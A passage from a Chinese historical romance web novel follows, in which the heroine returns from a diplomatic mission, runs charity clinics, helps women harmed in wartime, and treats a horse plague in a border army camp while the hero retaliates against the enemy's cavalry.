映雪也开始惦记起府里的情况，不知父亲和祖母的身体怎么样了，还有继母品性如何，苏沁雪有没有又闹出什么幺蛾子。
心中多了几分牵挂。
随即，映雪说道：“凌羽这边大约还要十来天，便能完成此次的任务了。我们是不是可以提前准备一下回去的行程了？”
郑少臣思索片刻，缓缓答道：“可以，关于商贸之事，让鸿胪寺卿负责较为妥当。”接着又道：“若是有准备带回去的特产，可以开始着手准备了。”
说到特产，映雪几人展开了一番热烈讨论。虽然凌羽的珍珠和宝石品质上乘且价格合理，但映雪手头的这些已然足够，无论是送礼还是自用都绰绰有余。最令映雪感兴趣的，还是凌羽的海货。随即，她便准备列个清单，让苏璟皓安排采买事宜。
许牧舟挑眉，心中暗忖，等回了京城，还是尽量少让映雪与嘉柔、清平在一处，省得她们三人凑在一起，自己便鲜有机会与映雪单独相处。
同时，心中也开始计划着与映雪大婚的日子。
在任何时候，女人们花银子的魄力着实令人惊叹，瞧着眼前新增的几辆载满货物的马车，郑少臣不禁微微皱眉，心中暗叹，幸好各府都带了不少护卫随行。
凌羽皇帝亲自在宫门前送别映雪等人。因映雪在此次事件中贡献卓越非凡，皇帝更是送上了好几箱极为丰厚的厚礼。皇帝面带亲切之色，对映雪温言说道：“慧敏郡主，此次之事，全赖你之力。若日后有机会，欢迎你们再度前来凌羽游玩。寡人必定以最为尊崇的礼遇相待。”
映雪微微俯身，脸上绽放出得体而温婉的笑容，恭敬地回道：“陛下过誉了，能为陛下尽此微薄之力，实乃臣女的莫大荣幸。若有机缘，臣女定当再次来访，那时只怕又要叨扰陛下了。”
皇帝闻言，龙颜大悦，高兴地表示热烈欢迎。随即，皇帝又对郑少臣几人说道：“愿我们两国之间的友谊长存，寡人就送到这里了。祝诸位此行一帆风顺。”
郑少臣几人也连忙拱手回礼，神色郑重而恭敬。
映雪踏上马车，随着郑少臣一声令下，众人纷纷行动起来。
车队如同一条蜿蜒的长龙，缓缓向前移动。旗帜在风中飘扬，发出猎猎声响。每个人的脸上都带着对归程的期待和憧憬。
回去的行程并不似来时那般匆忙。映雪几人商议后决定，皇上派出的使团先行赶回京城向皇上复命，而护卫们则带着各自主子们准备的特产一同返回京城。
他们几人则打算一边游玩，一边回京，一路尽情领略大乾风光。
96. 磐安城
回到大乾第一个经过的城池便是榆城，这次映雪几人应唐大人之约，准备多留几日，映雪，嘉柔和清平还给唐夫人带了礼物，嘉柔的甜言蜜语更是哄得唐夫人眉开眼笑，拉着嘉柔的手道，“还是生女儿好，女儿多贴心，不像我家那两个臭小子，整日只会令我操心，唉，我可真羡慕你母妃，有你这么个贴心的女儿。”夸的嘉柔微微脸红。
映雪看了一眼嘉柔，轻笑道，“师嫂，你可用不着羡慕别人，再乖巧的女儿总归都要嫁人，等靖远给你娶了个贴心的儿媳妇回来，整天陪着你，再贴心的女儿不都是你的吗？”
唐夫人闻言，先是一怔，而后眼中满是赞赏之色，笑道：“我这年岁比你长了一个辈分，竟还不如你想得通透。罢了罢了，我现在就盼着我那大儿子早点开窍，早日给我领个贴心的儿媳妇回来，也让我享享这有女儿般贴心人的福。”
唐夫人就生了两个儿子，唐靖远是小儿子，上面还有一个哥哥，与郑少臣同岁，如今在中原之地当县令，也还未娶亲。
惹得几人开怀大笑。
等唐夫人回到院子，瞧见儿子唐靖远一脸兴奋地在屋子里等她。唐夫人心中纳闷，不由得加快步伐踏入屋子，揶揄道：“什么事这么开心呢？娘进来都没注意到。”
唐靖远立马起身，迎上前喊了一声“娘”，随即搀扶着唐夫人在椅子上坐下。
唐夫人嗔怪道：“娘还没到七老八十需要人扶着走路的地步呢。”
唐靖远“嘿嘿”一笑，说道：“这不是看到娘您回来，心里高兴嘛。再说了，不管娘到什么时候，在孩儿心里都是最尊贵的，扶着您也是应该的。”
唐夫人瞥了一眼唐靖远，道：“说吧，又有什么事要求娘？”
唐靖远亲自倒了杯茶水放到母亲手上，含笑道：“娘，孩儿想跟景阳侯世子他们一道回京，等参加了科举考试再回来。”
唐夫人闻言，瞬间放下正要放到嘴边的茶杯，平静地说：“不行，等过两个月娘去京城给你外祖母过寿，我们再一道去。”
唐靖远不乐意了，扯着唐夫人的袖子哀求道：“娘，求求您了，您不是不乐意让我跟榆城那些酒肉朋友相处，要我跟品性好的人结交吗？我好不容易碰到几位志趣相投的朋友，您就忍心把我们拆散？”
唐夫人嗔斥道：“胡说八道什么。”接着又道：“你大哥如今不在身边，娘身边只有你陪着了。你去凌羽这近两个月，娘日日牵挂，如今你才回来，又要急着走，娘心里该有多失落。”
唐靖远闻言，扯着嘴，神情低落道：“娘不是还有爹陪着吗？”
唐夫人也不舍儿子失落，怀疑道：“你实话告诉娘，你是不是还藏着别的心思？”
唐靖远眼神闪躲，支支吾吾道：“哪有什么别的心思，儿子只是想同他们一道多长见识。”
唐夫人见儿子那神情，哪会不明白，直言道：“是嘉柔郡主吧？”
唐靖远顿时脸红不已，磕磕巴巴道：“儿子只是觉得嘉柔郡主天真可爱。”
唐夫人叹息道：“要是你大哥能有你这般开窍，娘也不必日夜替他操心了。”
唐靖远见娘没有发怒，瞬间欢喜道：“娘，那你是不是同意我与他们一起？”
唐夫人瞥了一眼唐靖远，平静道：“我要跟你爹商量再定。”
唐靖远一听，满心欢喜，说道：“娘，只要您同意了，爹那边肯定不会有异议。”说完，他急忙起身，又道：“娘，那儿子这就先回去好好计划一番，想想这几日带他们在榆城哪些地方游玩，儿子先行告退。”
唐夫人看着儿子风风火火离去的背影，若有所思。
榆城地处大乾与凌羽边界，却繁荣不输大乾中部。在唐大人治理下，百姓安居乐业，治安良好。周边虽有山匪，但只做生意，不敢骚扰百姓，这也是唐大人容得下他们的原因。
近日，唐靖远带着映雪等人游遍榆城景点，如清风山、灵泉湖、云音寺和榆城古街。映雪还组织了三日义诊，唐大人安排府兵下乡宣传，“映雪天女”名号传开，前来就诊的病患络绎不绝。每日清晨，义诊处便排起长队，人群熙熙攘攘，有白发老人、抱孩妇人、面露痛苦的青壮男子，热闹非凡。许牧舟等人负责维护纪律，三日无一人闹事。
映雪累得直不起身，险些在浴桶中睡着。绿绮心疼道：“奴婢真没用，一点都帮不上姑娘。”映雪嗔怪道：“胡说，这几日你在我身后打下手，帮了不少呢。嘉柔都羡慕我，说我身边的丫鬟比她的丫鬟机灵。”逗得绿绮心情好转。
映雪裹着睡袍趴在床榻上，绿绮主动请宋嬷嬷教她为映雪放松身体。宋嬷嬷在宫里伺候过众多贵人，自有一套手法，且对绿绮毫不藏私。绿绮学得快，没一会儿，姑娘的微鼾声便传来。
宋嬷嬷在深宫数十年，伺候过先皇后，为人处世和照顾人方面远超普通府邸嬷嬷。映雪与宋嬷嬷相处数月，已离不开她的伺候，打算回京后向太子讨要宋嬷嬷，以后为宋嬷嬷养老送终。
翌日，众人离开榆城之际，城外送别的百姓人山人海。这些百姓皆是映雪三日诊治过的病人及其家属。他们有的拿着自家做的点心，有的拿着榆城特产，甚至还有人带来了家里的老母鸡和大鹅，直言映雪太过清瘦，要给她补身子。这一番举动，让映雪既觉哭笑不得，又感动不已。于此，她更加深刻地明白了自己重活一世的意义，那便是让大乾百姓远离病痛折磨，不再穷苦一生，使大乾的每一寸土地都充满希望与温暖。
映雪哽塞着说道：“大家如此厚爱，雅澜实在受之有愧。我救大家，只为把健康、温暖与希望传递下去。愿大乾百姓远离病痛，生活幸福。”旁边有妇人开口道：“姑娘，您说的那些大道理我们也不懂，我只知道，若不是因为您，我儿子性命难保。这些礼物虽不值几个钱，却也是我们的一番心意，您就收下吧。”旁边众人也纷纷起哄：“对啊，您就收下吧，也好让我们心里好受些。”说着，众人还要朝映雪下跪，竹清眼疾手快，赶忙扶住了妇人。
唐靖远见状，直接建议道，“小师叔，既然是他们的心意，你就别推辞了。”
映雪只好点头。
待几人坐着马车离开，百姓们依旧站在那里，不停地向他们摆手。
嘉柔笑着说道：“映雪姐姐，我以前只听说过好官在离任的时候会收到万民伞，今日这般场景，我还是头一回见到呢，你可真是了不起。”
映雪抬眼，揶揄道：“受慈善局恩惠的人更多，哪个不知道嘉柔郡主的名号，说不定有
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一日，还有人替我们三个修庙立祠，以感我们的善举呢。”
嘉柔一听，立马兴致勃□□来，仿佛已经看到了那场景，笑道：“那我以后要做更多的善事，争取名留青史，比我父王还风光。”话音刚落，清平便轻笑道：“你有这志向就好，那往后可不许再逃避慈善堂的事务。”嘉柔瞬间就像泄了气的皮球，蔫了下来，映雪则大笑起来。
一行人中午在野外享用膳食，刚好把百姓送的母鸡和大鹅炖了，还煮了一锅菌子汤，味道鲜美至极。
映雪感慨道：“这才是真正的享受人生呀，有美景可赏，有美食可尝，更有挚友相伴，如此潇洒，夫复何求。”
苏璟皓打趣道：“若让你天天如此，只怕离野人也不远了。”嘉柔捧腹大笑，似乎已经在脑海中想象出了映雪野人的模样。
被映雪瞪眼止住。
接下来的二十多天，他们依次经过了桐城、柳城，又路过了明月镇、云溪镇等地。由于并不急于赶路，所以除了偶尔在野外进食之外，他们都未曾在野外留宿过。这般安排让嘉柔满意至极，她直言道：“此乃真正的游历啊！既能领略各地的风土人情，又无需风餐露宿，实在妙哉。”
这一路下来，也并非一帆风顺。
他们救过要被父亲卖去花楼的姑娘，寻死的妇人，溺水的儿童，还被盗贼团伙盯上，想用迷香迷晕他们，却被他们整治，盗贼团伙被连根拔起。
而后，抵达磐安城。此前，磐安城曾被赤焰人夺去，虽而后被许牧舟夺回，然而，那些遭受伤害的女子，或许永远都无法从心底的创伤中解脱出来。映雪从许牧舟口中得知赤焰人的种种恶行后，愤怒不已，一心想要为那群姑娘多做些事情。
清平与嘉柔听闻姑娘们的遭遇，亦是满心同情，自然不会有任何二话。
马车缓缓驶入城中，周边商贩的叫喊声此起彼伏，热闹非凡，丝毫看不出这座城池在前几个月刚刚经历过一场近乎毁灭的灾难。如此景象，足以说明现任太守刘大人还算尽职，许牧舟的脸色微微好转，心中的忧虑也稍稍减轻了几分。
许牧舟等人进城的消息，也迅速传到了太守府。太守不敢有丝毫怠慢，亲自带人前往许牧舟等人歇息的客栈，邀请许牧舟等人去府里落脚。
映雪一想到太守府曾被赤焰霸占，心里便不由地感到膈应，在背后轻轻拉了拉许牧舟的衣服。
随后，就听到许牧舟婉言拒绝道：“刘大人，您不必如此多礼。我们今日前来，并非为了公事。自入城以来，一路所见，足见刘大人治理有方。如今百姓安居乐业，这磐安城在刘大人的精心治理下已然恢复往日生机，着实令人钦佩。我们在客栈落脚即可，就不劳烦刘大人了。”
刘大人谦逊地说道：“实乃世子慧眼识珠，此前世子留给下官的曹主薄，那真是不可多得的人才。下官也是在曹主薄的协助之下，方能将这磐安城治理得稍有起色。下官定当继续勤勉奋进，绝不辜负世子的期望。”
许牧舟微微颔首，说道：“刘大人，您且先去忙吧。明日，我等再前往府里拜访。”
刘大人见许牧舟态度坚决，便也不好再勉强，只得恭敬行礼道：“既如此，下官便不打扰世子了，先行告退，明日恭迎世子及诸位莅临。”
97. 马瘟
几人是客栈里休整了一晚，待用了早膳，许牧舟便带着映雪一人去了太守府，其它人则去了城内闲逛。
刘大人接了消息，也在府内等侯，得知映雪身份后，才知这磐安城是来了一群什么样贵人，难怪昨日听侍卫来报，除了景阳侯世子，其它几位少男少女，也都个个气质非凡。
昨日他去客栈，只见到了许牧舟，映雪和苏璟皓三人。现在得知豫亲王世子也在，且是去凌羽的使团折返，再次提出要好好招待许牧舟等人。
许牧舟懒得废话，直言道，“刘大人，实不相瞒，我们这次来磐安城，是为了那群无辜被赤焰军所害的女子而来。慧敏郡主等人在大乾开办的慈善局你应该也有所听说，专门为老弱幼小及糟受苦难的女子所设，郡主得知她们一群人的遭遇后，也想替她们出一份力，如今那群女子现状如何？”
刘大人闻言，立即对映雪拱手道，“郡主大义！”映雪微微欠身回礼。
随后，刘大人沉重地对许牧舟说道：“这世道对女子多有不公。世子将此事交待给曹主薄，曹主薄也向我禀告过。先前世子派人将她们送回家中，还给了银子安抚。一共十八位女子，其中两位归家后受不了周围人的指指点点，自尽了；一位在被未婚夫退亲后，嫁给村里的老鳏夫；三位直接绞了发去庵里做姑子；还有一位直接被兄长卖到青楼。剩下的其他女子如今虽待嫁闺中，但据下官了解，过得也不好。”
许牧舟和映雪闻言，脸色变得十分难看。
随后就听刘大人道：“若是郡主能帮助这群无辜受害的女子，下官替她们感谢郡主。”说罢，还朝映雪行了个重礼。
映雪连忙侧身避开，虚扶起刘大人说道：“刘大人言重了。我身为女子，更知女子不易。碰上刘大人这样深明大义的好官还算幸运，若是遇上草菅人命的贪官，哪里还会管她们的死活。慈善堂创办本就是为了救助苦难之人，何需刘大人如此多礼。”接着又道：“而且我们也需刘大人的协助。”
刘大人自然答应，道：“郡主尽管直说，若需要下官配合，下官定当全力以赴，绝不推诿。”
映雪微微颔首，轻声道：“刘大人高义，有刘大人这番话，我便放心了。”随后，三人对此事讨论一番，映雪也从刘大人这里拿到那群女子的名单及居处等信息，准备挨个走访。
事后，刘大人再次提出宴请，道：“世子等人不愿在府里落脚，下官理解，毕竟府外更为自由。但恳请各位赏脸，让下官略尽地主之谊，品尝本地特色美食，就莫要再推辞了。”
许牧舟也不好再拒绝，便答应下来，道：“那就有劳刘大人了。”
刘大人欢喜不已，道：“那就今晚，下官到时派人去客栈相请。”
在回客栈的路上，映雪还是一脸凝重，许牧舟侧头道：“莫要太过忧心，既已了解情况，我们定能想出办法帮助她们。”
映雪摇摇头，沉声道：“我也曾落到赤焰人的手中，只要想到她们所遭受的那些，便不寒而栗。”
许牧舟蓦地停下脚步，旋即将映雪一把拉入怀中，声音低沉而醇厚：“怪我未能保护好你。即便你遭遇了最为不堪的事情，在我眼中，贞操与生命相较，根本不值一提。你可知，在战场上，将士们浴血拼杀，首要之务乃是保住性命。于生死跟前，一切皆显得那般渺小。清白之名固然重要，然与生命相比，实在微不足道。只要活着，便有希望，便有未来。倘若为了所谓的贞操而舍弃生命，那才是最为愚蠢的抉择。我只愿你无论何时，皆能以生命为重，其他之事，皆交予我来面对。”
映雪闻言，感动的泪水潸然而下，许牧舟在映雪耳边轻轻地哄道，“等回了京城我们就成亲，你可知我肖想了你多久。”
映雪顿时羞得满脸绯红，抬头便瞧见周围之人对他们指指点点，连忙推开许牧舟，红着脸嗔怪道：“都怪你，让旁人都瞧见了。”
许牧舟却犹如骄傲的孔雀一般，丝毫不以为意。
映雪气恼，伸手就在许牧舟的腰间一拧。
许牧舟轻笑道：“你未曾听闻，男人的腰碰不得么？”
映雪顿时觉得自己的手犹如烫手山芋一般。
随后，映雪便不再搭理许牧舟，径直朝着客栈走去。她的脑海中不断回想着许牧舟先前所说的那番话，一个念头忽然一闪而过，险些被她抓住，却被许牧舟给打断了。映雪狠狠地瞪了许牧舟一眼，道：“你别说话，我差点就想到解决办法了，都被你给打断了。”说罢，她停下了脚步，重新陷入了沉思之中。
许牧舟瞧见前面不远处有卖糖葫芦的，正准备抬脚过去给映雪买上一串，却被映雪扯住了袖子。映雪一脸兴奋道：“我想到法子了，走，我们这就回客栈，找清平商量，清平做事比我更加周全。”说罢，还紧紧拽着许牧舟的袖子，那模样生怕他跑了似的。
许牧舟一脸宠溺地看着映雪，柔声道：“前面有卖糖葫芦的，想不想吃？”
映雪闻言，顿时停住了脚步，两眼瞬间放光，犹如璀璨的星辰般明亮。乖巧地站在原地，满是期待地等着许牧舟，那模样如同等待投喂的可爱小动物，让人忍俊不禁。
映雪一边悠然地吃着糖葫芦，一边缓缓往客栈中走去。行至客栈门口时，恰好遇上逛街归来的嘉柔等人。
嘉柔眼尖，瞧见映雪手中的糖葫芦，当即大声喊道：“映雪姐姐，你竟然吃独食。”映雪闻言，顿时面露无奈之色。她低头一看，签子上的糖葫芦刚好剩下三颗，便大方地与嘉柔、清平一同分食，一人一颗。
这一幕惹得郑少臣等几位男子纷纷别过头去，没眼看这场景。
唐靖远满脸不解，说道：“不就糖葫芦吗？你们若喜欢吃，我再去给你们买就是了，至于一人分一颗吗？”
苏璟皓笑着拍了拍唐靖远的肩膀，调侃道：“平时见你挺机灵的，这叫姑娘的心思你别猜。她们吃得是情趣，你懂不懂？”话音刚落，映雪便笑着嘲笑道：“大哥，你就别五十步笑百步了。”众人听了，皆大笑不已。
待回到客栈，许牧舟将晚上去太守府参加晚宴的事情告知了大家。
随后，清平问起映雪道：“那群女子怎么样了？”映雪便把从刘大人那儿听来的消息一五一十地告诉了大家，众人闻言，皆是沉
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默不语。
映雪接着又对清平道：“我有一些想法，你替我看看，是否可行？”
清平微微点头，问道：“什么想法？”
映雪缓声说道：“许牧舟曾讲，对上过战场的人来讲，生命才是最紧要的，清白对那些人而言反而不值一提。我知晓大乾很多将士们都娶不上媳妇，若是我们把那群女子介绍给合适的将士，算不算是一举两得呢？那些女子除了没了清白，样貌和品性皆不差，若不是遭此不幸，那些将士们可都配不上她们。”
许牧舟向映雪投来一记赞赏的目光，说道：“这个法子可以。不说整个大乾，就那老头的营下不少将军都没讨上媳妇，。”
清平思索片刻后道：“既然如此，那就从景阳侯麾下的兵着手，许世子也能帮上忙。”众人纷纷赞同，许牧舟亦没有意见。
于是，几人针对具体的实施安排又进行了一番讨论，并安排好去走访的小分队。
嘉柔笑道：“我们如今连媒人的活都做上了，等回京告诉母妃，她肯定要大吃一惊。”
众人也感慨不已。
花了三日的时间，映雪等人才将这群姑娘逐一走访完毕，就连三位出家的姑娘也未曾遗漏。
那群姑娘得知映雪等人是专门为她们而来，并且真心实意地想要帮助她们，一时间纷纷泪如雨下。是啊，若是能好好活着，谁又会舍得轻易赴死呢？
少部分人愿意前往慈善堂，学习一些技艺以养活自己；而大部分人则愿意与景阳侯麾下的将士们相看。毕竟景阳侯是大乾的战神，磐安城也是景阳侯世子从赤焰人手中夺回，更是景阳侯世子救了她们。
故而，她们对景阳侯统辖下的将士们有着一种天然的好感。
待都安排妥善后，许牧舟正提笔写信，欲命人送信去靖安城通知老头。就在这时，暗卫突然现身，匆匆禀告道：“少主，侯爷传了急信过来。”说罢，便将信件递给了许牧舟。
许牧舟打开信件，脸色顿时阴沉可怕。手上猛地一用力，身旁的桌子瞬间四分五裂。随即，吩咐暗卫道：“即刻动身去靖宁城。”说罢，便起身朝外大步走去。
郑少臣等人得知景阳侯营下的战马无故病死，疑似瘟疫，亦是气愤不已，怒声道：“赤焰这群鼠辈，先是瘟疫，现是马瘟，简直无耻至极！”
许牧舟沉声道：“我带映雪去靖宁城救治，你们先回京，就此分别吧。”
郑少臣当即拒绝，坚定地说道：“我与你们一道，反正回京也无要紧之事，在战场总能帮些忙。嘉柔与清平就托付给璟皓与靖远。”
苏璟皓正要拒绝，身后却传来清平的声音。他转头望去，只见映雪、嘉柔和清平正从房间里走出来。清平开口道：“我们已经商议好了，一同前往靖宁城。虽说我们可能帮不上太大的忙，但给映雪打打下手还是可以的。映雪毕竟是女子，若一人留在战场，多有不便之处。”
郑少臣无奈，只好同意。
于是，众人一起前往靖宁城。许牧舟留下一名侍卫前往太守府道别，并将那群女子的安排托付给刘大人，让他随后派人把她们送去靖宁城。
98. 战场
连着两日紧赶慢赶，终于抵达靖宁城。
城主府中仅有寥寥几个下人，众人询问战场情况后，神色皆沉重无比，因实际状况比预料中更为严峻。许牧舟片刻未歇，直接带着映雪奔赴军营，其余人则暂留城主府。
映雪坐在许牧舟身前，见他缄默不语，心中也不好受，轻声宽慰道：“定会有办法的，你们景阳侯府的宝物，你还信不过吗？”
许牧舟下巴抵在映雪毛茸茸的头顶，轻轻蹭了几下，沉声道：“战马难得，即便保住了其他存活的战马，可那上千名阵亡的铁骑，也会使我军实力大减。”
映雪沉默不语，虽不懂战场之事，但她也明白铁骑在作战中的关键地位。大乾的战马本就不及赤焰，赤焰之地虽贫瘠，却幅员辽阔，其环境更适宜养马养羊，马匹自然更为壮实。而大乾的战马皆为圈养，实力自然难以与放养的相提并论。
许牧舟见映雪满脸担忧，轻笑道：“别担心，大不了以其人之道还治其人之身，让赤焰的马也无法作战。”
映雪沉思良久，心中渐渐萌生出一个大胆的计划。
她对许牧舟说道：“我曾在杂书上看到，赤焰人养马以部落为单位，每个部落都有自己的马场和牧群，且部落之间并非完全团结一心。那我们可否利用这一点，将他们的马夺过来呢？”
许牧舟闻言，不禁笑出声来，道：“你还真是天生的将才，胆大心细，点子颇多。老头子可要嫉妒我了。”
映雪心中一喜，追问道：“到底行不行得通？”许牧舟并未直接回答，只是笑道：“那得看老头子有没有这能耐。”
片刻后，两人来到军营。
此时，景阳侯正召集属下几位将军商议战事，有小兵前来禀告：“侯爷，世子带了一位姑娘过来。”
景阳侯吩咐道：“让他们直接进来。”
随后，映雪跟着许牧舟踏入营账。刚一进入，周边几道目光瞬间落在映雪身上，映雪心中一阵紧张，连忙向主座上的景阳侯行礼，眼神丝毫不敢乱瞟。
景阳侯轻声一笑，浑厚的声音中带着几分和蔼：“不用害怕，在座的几位都是看着舟儿长大的叔叔，并非外人。”话音刚落，一道如大喇叭般的声音传来：“就是，舟儿媳妇，不用害羞，舟儿上次过来已经给我们炫耀过他媳妇了，我们都知道你呢！”其他将军也纷纷跟着起哄。
映雪闻言，更是尴尬不已，恨不得在许牧舟身上狠狠掐两下。
许牧舟随即替映雪介绍了刚才那位声音如大喇叭般的沐将军以及其他几位将军，映雪一一问好。众人连声夸赞映雪，都说许牧舟好福气，许牧舟一脸得意。景阳侯也满心欢喜，连日来的低迷情绪消散了几分。
寒暄几句后，众人进入主题。映雪表示需亲眼见过战马的病症才能确认是否为马瘟，再设法救治。
许牧舟则为映雪邀功，将映雪夺马的提议说出。
景阳侯闻言，忍不住向映雪投去赞赏的目光，心中一阵得意，想着等回京后定要祭告列祖列宗，脸上却丝毫未显，含笑道：“想法不错，赤焰地广人稀，尤其是养马的部落，他们更看重利益而非忠诚。”顿了一下，接着又道：“只是军营中没有合适的人前往，既要机灵又不能让人看出是军人。”
映雪眼珠一转，问道：“那豫亲王世子和我大哥合适吗？他们可以假办成商队前往。”
景阳侯笑着点头，道：“他们最合适不过了。”随后又道：“你们这一路奔波辛苦了，待查看完病马，我们一道回城，晚上为你们接风。”其他将军闻言，亦是一阵欢呼。
许牧舟命人将胡大夫喊来，胡大夫并未因映雪年轻而轻视她，将病马这几日病发前的各种症状详细地说给映雪听，发热、萎靡、食欲不振、呼吸困难等，确实是瘟疫的症状。
映雪为了确认，还亲自前往马厩查看。亲眼确认后，映雪心中也多了一丝沉重，道：“确实是马瘟。”
景阳侯正欲询问能否救治，便听到映雪沉闷的声音道：“就算治好，它们也无法再作为战马出战了。能成为战马的马匹都是经过精心挑选的，身强体壮是基本要求，而患过马瘟的马，即便治好，也因伤了根本，会体虚气短。”
景阳侯皱眉道：“既然如此，夺马计划势在必行。”
晚间，待接风宴结束之后，景阳侯单独召见了郑少臣等人。
苏璟皓还是第一次以这样近的距离与崇拜的对象待在一个屋子里，心中不由地升起一种奇妙的感觉。思绪开始神游，以至于景阳侯喊他都豪无察觉。
映雪见状，伸手轻拍了一下大哥，说道：“大哥，你发什么愣呢？侯爷在问你话呢！”
苏璟皓这才猛地回过神来，连忙向景阳侯致歉，尴尬地说道：“晚辈失礼了，实在是第一次离大乾的战神这般近，心中难免激动。”
景阳侯爽朗一笑，拍了拍苏璟皓的肩膀，说道：“贤侄不必如此紧张，本侯也不过是凡人一个。此次夺马之事，你与豫亲王世子责任重大，务必小心谨慎行事。若能成功，本侯亲自向陛下为你们请功。”
苏璟皓立刻挺直身子，神色坚定地说道：“定当保证完成任务。”
郑少臣与苏璟皓负责夺马之重任，许牧舟则负责潜入敌营，以其人之道还治其人之身，为后续的战争争取一些时间。清平和嘉柔也没闲着，她们负责安置即将从磐安城前来的那群女子们，并且要在靖宁城开设慈善堂。唐靖远则为清平和嘉柔打下手，同时负责两人的安全。而映雪则全力研制治疗马瘟的药物，虽说这些马日后无法再作为战马，但却可以用于运输、农业劳作，亦或是成为种马等，发挥着别样的价值。
待任务分配完毕，除许牧舟外，其他人脸上皆浮现出兴奋之色，毕竟首次被寄予厚望，就连嘉柔都满是昂扬斗志。
唐靖远却有些失落，说道：“我真的不能与郑兄、苏兄他们一同前往赤焰夺马吗？”
映雪安慰道：“你的任务可比他们更为重要呢。你想想，若清平和嘉柔的安全无法保障，他们二人又怎能沉下心去夺马？”
嘉柔也附和道：“你可别小瞧了后方。后方的安稳乃是前方作战的坚实保障。慈善堂的开设以及那群可怜女子的安置，皆需精心筹备。虽看似
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不在前线冲锋陷阵，却能为战士们消除后顾之忧。后勤之事同样至关重要，若后方陷入混乱，前方的努力便可能付诸东流。”
郑少臣闻言，心中涌起一抹欣慰，对嘉柔投去赞赏的目光，随即转头对唐靖远道：“贤弟，此次嘉柔和清平的安全问题就托付给你了。以后上阵杀敌的机会多的是，不必急于一时。”
唐靖远微微颔首。
在郑少臣和苏璟皓即将出发之际，映雪为他们准备了一些修容的药膏。有了这些药膏，他们的面容能够变得更为平庸。毕竟，以他们原本的模样，往那一站，便轻易能看出不像普通商人，反倒更像是世家贵公子。当然，这些药膏自然比不上赤焰的易容术，无法做到直接换脸那般神奇，但好歹也能遮掩一些锋芒。而这一灵感，映雪正是从赤焰人身上学到的。
与此同时，许牧舟已带领暗卫悄然潜入了敌营。
赤焰军营中，几位大将军围坐一处。面前大盘的烤肉滋滋作响，油脂不断滴落，炭火熊熊，散发出诱人的香气。满壶的美酒在将军们手中传递，烈酒入喉，满脸横肉的将军得意道：“还是巫师有法子，哼，等大乾的战马都死光了，他们拿什么与我们抗衡？待将他们击败，不管是大乾还是凌羽，都将由我们赤焰掌控。”其他将军纷纷附和，仿佛胜利已然在握。
这时，另一位将军大口喝着碗里的酒，羡慕地说道：“听说京城有一种极好的酒，外面根本买不到。等大乾军队败了，就让大乾皇帝给我们进贡，到那时，这样的美酒我们想喝多少便有多少。”几位将军一听，再喝嘴里的酒瞬间觉得没了滋味。
其中一位看着精明的将军突然开口：“景阳侯世子也来了战场，这位世子的兵法极为诡异，我们最近还是谨慎些为好。”满脸横肉的将军却满不在乎：“他就算再厉害，一人又能掀起多大风浪？大乾如今战马尽损，铁骑优势荡然无存，仅凭一个世子，难成气候。我们赤焰勇士众多，还怕他一个毛头小子不成？”
为首的乌将军想起景阳侯父子夺回磐安城并斩杀数位将军之事，心中仍有一丝忌惮，沉声道：“行了，谨慎一些总没坏处。”
许牧舟历经两日的蹲守，终于摸清了赤焰战马的行动规律。
与大乾战马不同，大乾战马会在固定的区域和时间进行活动，而赤焰战马则全然没有固定的活动区域与时间，处于一种极为随性的放养状态。然而，赤焰战马的驯养之法却极为高明，驯马师只需一声口哨，这些战马便会如同听到召唤的勇士，迅速回营。
这群马有着共同的习惯，每日都会前往同一处饮水。那并非流动的河水，而是驯马师精心准备的水潭。驯马师每日都会仔细检查水潭，确保水质清洁，以满足战马的饮用需求。然而，映雪从病马体内提炼出的瘟毒无色无味，从肉眼根本无法看出。如此一来，这个水潭便成了许牧舟投放瘟毒的绝佳之地。
许牧舟望着水潭，眸底流露出一丝同情。这些战马何其无辜，只怪赤焰人太过狠毒，为达目的不择手段，致使大乾战马染上瘟疫。如今以其人之道还治其人之身，虽心中不忍，也不得不如此为之。
99. 伤兵营
待投完瘟毒，许牧舟便骑马回了军营。
映雪见许牧舟安然无恙归来，那颗一直悬着的心这才重新落回肚子里。
马场里的病马在映雪的精心救治下，病情已然得到控制，再过几日便能完全康复。映雪打算等这群马康复后，便回到城中与清平、嘉柔一同忙碌慈善堂及那群女子之事。
清平做事极为利索，到靖宁城的第二日，便在城里购置下一座三进的大宅子，用作慈善堂的场地。那群女子昨日也刚抵达靖宁城，正好在慈善堂落脚。对她们而言，换了个地方重新开始，也迎来了新生的曙光。
胡大夫见映雪频频向身边的绿绮询问慈善堂之事，显然对此事极为上心。胡大夫在心中对映雪佩服不已，不愧是侯爷重视的儿媳妇，随即对映雪笑道：“郡主今日就回城吧，马康复之事都交给老夫，有老夫在，定不会出岔子。”
映雪心中有些犹豫，治马的方子及安排皆是她与胡大夫一起商议的，如今他们的主要职责便是每日观察这群马的状态，看是否需要调整药方。她留在军营确实作用不大，但又怕万一有什么问题。
胡大夫看出映雪眼底的犹豫，道：“从军营到城里骑马也就一个时辰，就算有状况，也来得及。”
映雪想想也是，便点头同意，道：“那这里就麻烦胡大夫了，若是有状况，随时去叫我过来。”胡大夫点头答应。
映雪刚一转头，准备离去，就见许牧舟大步走了过来，对映雪柔声道：“我先送你回城，这几日你就好好留在城里。”
映雪抬眸，问道：“是要打仗了吗？”
许牧舟颔首，道：“最迟明日，赤焰就会发现战马异常，到时他们在盛怒之下，定会直接向我们宣战，你待在这里不安全。”
映雪心中多了几分担忧，但她也明白，现下自己能做的就是保全自己，起码不能让许牧舟分心。
夜晚，赤焰军营。
驯马师发现厩里的马精神有些不好，他以为是连着几日的休战，让这些战马有些倦怠了。心中盘算着，明日定要让这些战马多跑几圈。岂料，翌日醒来，却发现战马死了一半，其余的也都病倒了，驯马师顿时惊恐不已，急忙跑去向乌将军禀告。
乌将军亲自前往马厩，待看到厩里的惨状，顿时怒不可遏。抬手就掐住了驯马师的脖子，怒道：“废物。”随即把驯马师往旁边的死马上一扔。
驯马师连连咳嗽，大口喘气，努力平复被掐后的窒息感。顾不得身上的疼痛，连忙爬起跪地，瑟瑟发抖道：“将军息怒，小的不知这是怎么回事，一直尽心尽力照顾战马，从未有过丝毫懈怠。”
乌将军黑着脸，大步回到营账，召集其他将军商议。显然，他们这是被大乾以其人之道还治其人之身了。这景阳侯世子回来，果真没有好事，能不动声色地潜进他们阵营，确实有几分真本事。
果然如许牧舟所料，等映雪回城的第二日，便听到消息，赤焰向大乾开战。且这次赤焰军如同被激怒的猛兽，毫不畏惧，疯狂地发起强攻。赤焰士兵们个个士气高昂，誓要与大乾决一死战。
